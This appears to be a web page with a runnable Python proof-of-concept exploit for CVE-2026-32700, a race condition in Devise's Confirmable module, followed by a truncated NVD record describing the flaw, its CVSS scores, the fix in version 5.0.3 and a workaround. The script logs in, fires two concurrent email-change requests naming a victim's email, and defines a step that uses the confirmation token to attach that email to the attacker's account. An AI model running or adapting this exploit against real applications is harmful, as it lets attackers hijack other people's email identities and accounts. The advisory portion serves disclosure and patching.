CVE-2026-32700

# CVE-2026-32700 PoC - Devise Confirmable Race Condition # This PoC demonstrates the race condition in Devise's Confirmable module # that allows attackers to confirm email addresses they don't own. import requests import threading import time TARGET_URL = "https://vulnerable-app.com" ATTACKER_EMAIL = "[email protected]" VICTIM_EMAIL = "[email protected]" def send_concurrent_email_change(): """ Send two concurrent email change requests. The race condition occurs when both requests are processed simultaneously, causing desynchronization between confirmation_token and unconfirmed_email. """ session = requests.Session() # Login as authenticated user (attacker) login_data = { "user[email]": ATTACKER_EMAIL, "user[password]": "attacker_password" } session.post(f"{TARGET_URL}/users/sign_in", data=login_data) # Define the email change request change_data = { "user[email]": ATTACKER_EMAIL, "user[unconfirmed_email]": VICTIM_EMAIL # Target victim's email } # Send concurrent requests to trigger race condition threads = [] for i in range(2): t = threading.Thread(target=lambda: session.put( f"{TARGET_URL}/users", data=change_data, headers={"X-Requested-With": "XMLHttpRequest"} )) threads.append(t) # Start all threads simultaneously for t in threads: t.start() # Wait for completion for t in threads: t.join() print("Concurrent requests sent. Check attacker's email for confirmation token.") def confirm_with_stolen_token(token): """ Use the confirmation token received in attacker's email to confirm the victim's email on attacker's account. """ session = requests.Session() session.get(f"{TARGET_URL}/users/confirmation?confirmation_token={token}") # Verify the hijacked email response = session.get(f"{TARGET_URL}/users/edit") if VICTIM_EMAIL in response.text: print("SUCCESS: Victim's email confirmed on attacker's account!") return True return False if __name__ == "__main__": print("CVE-2026-32700 PoC - Devise Confirmable Race Condition") print("=" * 60) send_concurrent_email_change()

{"cve": {"id": "CVE-2026-32700", "sourceIdentifier": "[email protected]", "published": "2026-03-18T21:16:26.943", "lastModified": "2026-03-26T14:47:09.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Devise is an authentication solution for Rails based on Warden. Prior to version 5.0.3, a race condition in Devise's Confirmable module allows an attacker to confirm an email address they do not own. This affects any Devise application using the `reconfirmable` option (the default when using Confirmable with email changes). By sending two concurrent email change requests, an attacker can desynchronize the `confirmation_token` and `unconfirmed_email` fields. The confirmation token is sent to an email the attacker controls, but the `unconfirmed_email` in the database points to a victim's email address. When the attacker uses the token, the victim's email is confirmed on the attacker's account. This is patched in Devise v5.0.3. Users should upgrade as soon as possible. As a workaround, applications can override a specific method from Devise models to force `unconfirmed_email` to be persisted when unchanged. Note that Mongoid does not seem to respect that `will_change!` should force the attribute to be persisted, even if it did not really change, so the user might have to implement a workaround similar to Devise by setting `changed_attributes[\"unconfirmed_email\"] = nil` as well."}, {"lang": "es", "value": "Devise es una solución de autenticación para Rails basada en Warden. Antes de la versión 5.0.3, una condición de carrera en el módulo Confirmable de Devise permite a un atacante confirmar una dirección de correo electrónico que no posee. Esto afecta a cualquier aplicación Devise que utilice la opción 'reconfirmable' (la predeterminada al usar Confirmable con cambios de correo electrónico). Al enviar dos solicitudes concurrentes de cambio de correo electrónico, un atacante puede desincronizar los campos `confirmation_token` y `unconfirmed_email`. El token de confirmación se envía a un correo electrónico que el atacante controla, pero el `unconfirmed_email` en la base de datos apunta a la dirección de correo electrónico de una víctima. Cuando el atacante utiliza el token, el correo electrónico de la víctima se confirma en la cuenta del atacante. Esto está parcheado en Devise v5.0.3. Los usuarios deben actualizar lo antes posible. Como solución alternativa, las aplicaciones pueden sobrescribir un método específico de los modelos de Devise para forzar que `unconfirmed_email` se persista cuando no ha cambiado. Tenga en cuenta que Mongoid no parece respetar que `will_change!` debería forzar que el atributo se persista, incluso si realmente no cambió, por lo que el usuario podría tener que implementar una solución alternativa similar a Devise estableciendo `changed_attributes[\"unconfirmed_email\"] = nil` también."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "security-adviso ... (truncated)